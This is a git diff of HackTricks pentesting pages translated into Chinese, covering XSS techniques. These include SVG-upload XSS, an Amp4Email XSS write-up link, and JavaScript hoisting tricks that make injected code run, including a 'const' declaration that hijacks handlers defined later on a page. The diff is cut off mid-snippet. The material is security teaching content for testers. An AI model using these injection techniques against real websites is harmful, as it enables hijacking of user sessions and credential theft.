Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails. -示例 [**在 Gmail 中的 Amp4Email 的 XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。 +Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). -### XSS 上传文件 (svg) +### 通过上传文件触发的 XSS (svg) -将以下文件作为图像上传(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +作为图片上传类似下面这样的文件(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1632,9 +1688,10 @@ id="foo"/> ```xml ``` -找到 **更多 SVG 载荷在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +查找 **更多 SVG payloads 在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) + +## 杂项 JS Tricks & 相关信息 -## 其他 JS 技巧与相关信息 {{#ref}} other-js-tricks.md @@ -1649,4 +1706,9 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) +## 参考 + +- [从 "Low-Impact" RXSS 到 Credential Stealer:A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 1e8269bb2..43f032b41 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## 基本信息 +## Basic Information -在JavaScript语言中,有一种机制称为**提升**,它描述了变量、函数、类或导入的声明在代码执行之前概念上被提升到其作用域的顶部。这个过程是由JavaScript引擎自动执行的,脚本会经过多次遍历。 +在 JavaScript 语言中,存在一种称为 **Hoisting** 的机制:在代码执行之前,变量、函数、class 或 import 的声明在概念上会被提升到其作用域的顶部。这个过程由 JavaScript 引擎自动执行,引擎会对脚本进行多次遍历。 -在第一次遍历中,引擎解析代码以检查语法错误,并将其转换为抽象语法树。这个阶段包括提升,这是一个将某些声明移动到执行上下文顶部的过程。如果解析阶段成功,表明没有语法错误,则脚本执行继续进行。 +在第一次遍历中,引擎会解析代码以检查语法错误并将其转换为抽象语法树。此阶段包含 hoisting(提升),即将某些声明移动到执行上下文顶部的过程。如果解析阶段成功(即没有语法错误),脚本就会继续执行。 -理解以下几点至关重要: +重要的是要理解: -1. 脚本必须没有语法错误才能执行。语法规则必须严格遵守。 -2. 代码在脚本中的位置会影响执行,因为提升,尽管执行的代码可能与其文本表示不同。 +1. 脚本必须没有语法错误才能执行。必须严格遵守语法规则。 +2. 由于 hoisting,代码在脚本中的位置会影响执行,尽管实际执行的代码可能与其文本表示不同。 -#### 提升的类型 +#### Types of Hoisting -根据MDN的信息,JavaScript中有四种不同类型的提升: +根据 MDN 的信息,JavaScript 中有四种不同的 hoisting 类型: -1. **值提升**:允许在声明行之前在其作用域内使用变量的值。 -2. **声明提升**:允许在声明之前引用变量而不会引发`ReferenceError`,但变量的值将是`undefined`。 -3. 这种类型由于变量在实际声明行之前的声明而改变其作用域内的行为。 -4. 声明的副作用在包含它的其余代码被评估之前发生。 +1. **Value Hoisting**:允许在变量声明行之前在其作用域内使用变量的值。 +2. **Declaration Hoisting**:允许在变量声明之前在其作用域内引用该变量而不会导致 `ReferenceError`,但变量的值将是 `undefined`。 +3. 这种类型会改变其作用域内的行为,因为变量在其实际声明行之前就被声明了。 +4. 声明的副作用会在包含它的其余代码被求值之前发生。 -详细来说,函数声明表现出类型1的提升行为。`var`关键字展示了类型2的行为。词法声明,包括`let`、`const`和`class`,显示了类型3的行为。最后,`import`语句是独特的,因为它们同时具有类型1和类型4的提升行为。 +具体来说,函数声明表现出类型 1 的 hoisting 行为。`var` 关键字表现出类型 2 的行为。词法声明(包括 `let`、`const` 和 `class`)表现出类型 3 的行为。最后,`import` 语句比较特殊,它既具有类型 1,也具有类型 4 的 hoisting 行为。 -## 场景 +## Scenarios -因此,如果您有场景可以**在未声明对象后注入JS代码**,您可以通过声明它来**修复语法**(这样您的代码会被执行而不是抛出错误): +因此,如果你有场景能够在**在未声明对象被使用后注入 JS 代码**,你可以通过声明它来**修复语法**(这样你的代码会被执行,而不是抛出错误): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -127,11 +127,31 @@ alert(1) - }, }) } +trigger() ``` -## 参考文献 +### 通过 `const` 锁定名称以抢占后续声明 + +如果你能在顶层 `function foo(){...}` 被解析之前执行代码,声明一个具有相同名字的词法绑定(例如 `const foo = ...`)会阻止随后函数声明重新绑定该标识符。 这可以在 RXSS 中被滥用,用来劫持页面后面定义的关键处理程序: +```javascript +// Malicious code runs first (e.g., earlier inline